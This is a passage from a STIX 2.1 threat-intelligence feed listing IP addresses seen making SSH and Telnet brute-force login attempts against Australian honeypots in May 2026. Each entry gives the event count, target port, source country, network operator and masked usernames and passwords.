      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T14:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.206.170.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T14:15:34.000Z",
      "valid_until": "2026-06-22T14:15:08.000Z"
    },
    {
      "created": "2026-05-21T14:15:34.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): u****u. Passwords observed (masked): u****u.",
      "id": "indicator--676c3ba4-c867-4e01-853f-2cbf293c30e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T14:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T14:15:34.000Z",
      "valid_until": "2026-06-22T14:15:08.000Z"
    },
    {
      "created": "2026-05-21T14:15:34.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): s***s, 3**********4. Passwords observed (masked): 3***********4, 3**********4, s***s.",
      "id": "indicator--40785e94-f2e3-478d-9187-bb59802dc11e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T14:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.216.198.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T14:15:34.000Z",
      "valid_until": "2026-06-22T14:15:08.000Z"
    },
    {
      "created": "2026-05-21T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--0b598052-534e-46ef-b171-15ee1776cf34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.41.137.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T15:15:11.000Z",
      "valid_until": "2026-06-22T15:15:08.000Z"
    },
    {
      "created": "2026-05-21T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): ***. Passwords observed (masked): 1****6.",
      "id": "indicator--5aeec3bc-29ac-49f4-a459-07f451971486",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.216.108.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T15:15:11.000Z",
      "valid_until": "2026-06-22T15:15:08.000Z"
    },
    {
      "created": "2026-05-21T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--89909adf-2564-4c5e-8641-330dd39b80a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.229.230.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T15:15:11.000Z",
      "valid_until": "2026-06-22T15:15:08.000Z"
    },
    {
      "created": "2026-05-21T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 2514. Organisation(s): NTT PC Communications, Inc..",
      "id": "indicator--282bc2ae-3ef6-469b-b635-b28a4fae8d12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.146.235.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T15:15:11.000Z",
      "valid_until": "2026-06-22T15:15:08.000Z"
    },
    {
      "created": "2026-05-21T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t. Passwords observed (masked): d******g.",
      "id": "indicator--dcab1906-c2e8-4962-9be8-8336373d3e58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '15.204.225.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T15:15:11.000Z",
      "valid_until": "2026-06-22T15:15:08.000Z"
    },
    {
      "created": "2026-05-21T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9231. Organisation(s): China Mobile Hong Kong Company Limited.",
      "id": "indicator--60c3ea2e-646b-41fc-a233-6f44bab14f36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.81.122.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T15:15:11.000Z",
      "valid_until": "2026-06-22T15:15:08.000Z"
    },
    {
      "created": "2026-05-21T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--f4945808-c342-4b04-9df8-e212b01c5f3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.191.95.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T15:15:11.000Z",
      "valid_until": "2026-06-22T15:15:08.000Z"
    },
    {
      "created": "2026-05-21T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UG. ASN(s): 21491. Organisation(s): UGANDA-TELECOM Uganda Telecom. Usernames observed (masked): h***e. Passwords observed (masked): h***e.",
      "id": "indicator--448a521a-2b6a-400b-bdd6-5bc11593ba7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.0.242.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T15:15:11.000Z",
      "valid_until": "2026-06-22T15:15:08.000Z"
    },
    {
      "created": "2026-05-21T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--1cbbeca2-2759-42ce-b168-36e4192f6378",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.0.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T15:15:11.000Z",
      "valid_until": "2026-06-22T15:15:08.000Z"
    },
    {
      "created": "2026-05-21T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 268122. Organisation(s): Link Net Telecomunicacoes Ltda. Usernames observed (masked): x****n. Passwords observed (masked): x****n.",
      "id": "indicator--94b163fd-bba9-490e-a1fe-cc4a1342fd64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.169.187.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T15:15:11.000Z",
      "valid_until": "2026-06-22T15:15:08.000Z"
    },
    {
      "created": "2026-05-21T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited.",
      "id": "indicator--2531ebb6-5779-4ae3-b16e-f69a87d0f28b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.103.86.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T15:15:11.000Z",
      "valid_until": "2026-06-22T15:15:08.000Z"
    },
    {
      "created": "2026-05-21T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 135772. Organisation(s): POWERNET.",
      "id": "indicator--bfd53f3c-4489-498d-a19a-47febfd08f50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.68.219.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T16:15:11.000Z",
      "valid_until": "2026-06-22T16:15:09.000Z"
    },
    {
      "created": "2026-05-21T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--ece9cc9a-82da-44a7-b4f2-3828b7628597",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T16:15:11.000Z",
      "valid_until": "2026-06-22T16:15:09.000Z"
    },
    {
      "created": "2026-05-21T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 338. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, c*******r, ***, a***e. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1******1, 5****5.",
      "id": "indicator--8c63383b-fce5-4b23-8b39-ddd074db6c4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.169.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T16:15:11.000Z",
      "valid_until": "2026-06-22T16:15:09.000Z"
    },
    {
      "created": "2026-05-21T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 950. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 3449. Organisation(s): Universidad Nacional de Buenos Aires. Usernames observed (masked): r**t, o****e, t**t, a***n, g****b. Passwords observed (masked): 1****6, a****3, ***, *, 1**4.",
      "id": "indicator--39cb7bdc-d8b5-454a-8e9a-5a545656b3e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.92.145.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T16:15:11.000Z",
      "valid_until": "2026-06-22T16:15:09.000Z"
    },
    {
      "created": "2026-05-21T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 358. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, c**n, c*******r, ***. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1******1, 5****5.",
      "id": "indicator--2141fba3-dc20-4de2-9f76-db056369e9c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T16:15:11.000Z",
      "valid_until": "2026-06-22T16:15:09.000Z"
    },
    {
      "created": "2026-05-21T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--cfbd1f63-c5c0-4749-a65b-f7d73ce6300b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.225.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T16:15:11.000Z",
      "valid_until": "2026-06-22T16:15:09.000Z"
    },
    {
      "created": "2026-05-21T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 133481. Organisation(s): AIS Fibre.",
      "id": "indicator--63e60388-e73a-4f88-8097-f6f64f250734",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.82.72.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T16:15:11.000Z",
      "valid_until": "2026-06-22T16:15:09.000Z"
    },
    {
      "created": "2026-05-21T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 61937. Organisation(s): Oquei Telecom Ltda.",
      "id": "indicator--4d48b534-bf22-4df5-94f6-5ee19dc9690f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.45.175.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T16:15:11.000Z",
      "valid_until": "2026-06-22T16:15:09.000Z"
    },
    {
      "created": "2026-05-21T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 4230. Organisation(s): CLARO S.A..",
      "id": "indicator--b2f052c0-e95f-4ac3-8ef3-a0cf54d00a7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.58.23.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T16:15:11.000Z",
      "valid_until": "2026-06-22T16:15:09.000Z"
    },
    {
      "created": "2026-05-21T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EG. ASN(s): 36992. Organisation(s): Etisalat Misr. Usernames observed (masked): m***u. Passwords observed (masked): 1****6.",
      "id": "indicator--42696b43-10c6-4757-8c30-e1e9b7178aa7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.199.224.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T16:15:11.000Z",
      "valid_until": "2026-06-22T16:15:09.000Z"
    },
    {
      "created": "2026-05-21T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--cd4db4c5-cded-4c33-9eb6-b7dfa2674841",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T16:15:11.000Z",
      "valid_until": "2026-06-22T16:15:09.000Z"
    },
    {
      "created": "2026-05-21T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--cdc3ac71-adb2-4ba9-a54c-cd8ee1a9a227",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.232.246.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T16:15:11.000Z",
      "valid_until": "2026-06-22T16:15:09.000Z"
    },
    {
      "created": "2026-05-21T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--b6a796bc-6232-4c50-8406-7de16fa3490d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.239.113.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T16:15:11.000Z",
      "valid_until": "2026-06-22T16:15:09.000Z"
    },
    {
      "created": "2026-05-21T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 3320. Organisation(s): Deutsche Telekom AG. Usernames observed (masked): **. Passwords observed (masked): r*******y, r**********************1.",
      "id": "indicator--b55aa843-0dbe-4e4d-a831-503c821d6385",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '87.186.11.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T16:15:11.000Z",
      "valid_until": "2026-06-22T16:15:09.000Z"
    },
    {
      "created": "2026-05-21T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 20960. Organisation(s): TK Telekom sp. z o.o..",
      "id": "indicator--5c8195ec-d6d7-4a9d-a332-5e3a16fcb24f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.199.167.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T16:15:11.000Z",
      "valid_until": "2026-06-22T16:15:09.000Z"
    },
    {
      "created": "2026-05-21T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: QA. ASN(s): 8781. Organisation(s): Ooredoo Q.S.C..",
      "id": "indicator--cad27ac9-36ec-4d73-9232-69498b23447c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.211.241.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T16:15:11.000Z",
      "valid_until": "2026-06-22T16:15:09.000Z"
    },
    {
      "created": "2026-05-21T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom. Usernames observed (masked): x****n. Passwords observed (masked): x****n.",
      "id": "indicator--1f0f2f4d-01bd-43c9-ace0-e4471f20c55c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.188.91.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T16:15:11.000Z",
      "valid_until": "2026-06-22T16:15:09.000Z"
    },
    {
      "created": "2026-05-21T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137172. Organisation(s): ALL CONNECT NETWORK SERVICES PRIVATE LIMITED.",
      "id": "indicator--4366dcb9-981b-4326-a5fa-4cd794bb816d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.112.214.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T17:15:11.000Z",
      "valid_until": "2026-06-22T17:15:08.000Z"
    },
    {
      "created": "2026-05-21T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 298. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 5410. Organisation(s): Bouygues Telecom SA. Usernames observed (masked): r**t, 3**********4, c**n, ***, a***n. Passwords observed (masked): 1****6, 3***********4, 3**********4, A***N, e*******4.",
      "id": "indicator--ca3616e8-353e-421b-a589-4c599b5b0bc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '128.78.143.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T17:15:11.000Z",
      "valid_until": "2026-06-22T17:15:08.000Z"
    },
    {
      "created": "2026-05-21T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 197. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, c***i, 3**********4, a**l, d**g. Passwords observed (masked): 1****6, a***n, 1**0, 2******1, 3***********4.",
      "id": "indicator--a45d4748-a882-4bb5-9f8f-54a60eb27596",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.118.127.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T17:15:11.000Z",
      "valid_until": "2026-06-22T17:15:08.000Z"
    },
    {
      "created": "2026-05-21T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): , a***n, r**t.",
      "id": "indicator--df479334-1b4b-4bbb-be8a-1ede47aba674",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T17:15:11.000Z",
      "valid_until": "2026-06-22T17:15:08.000Z"
    },
    {
      "created": "2026-05-21T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 22047. Organisation(s): VTR BANDA ANCHA S.A..",
      "id": "indicator--be909ad2-0db8-48cb-bce7-ed08c9f600ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T17:15:11.000Z",
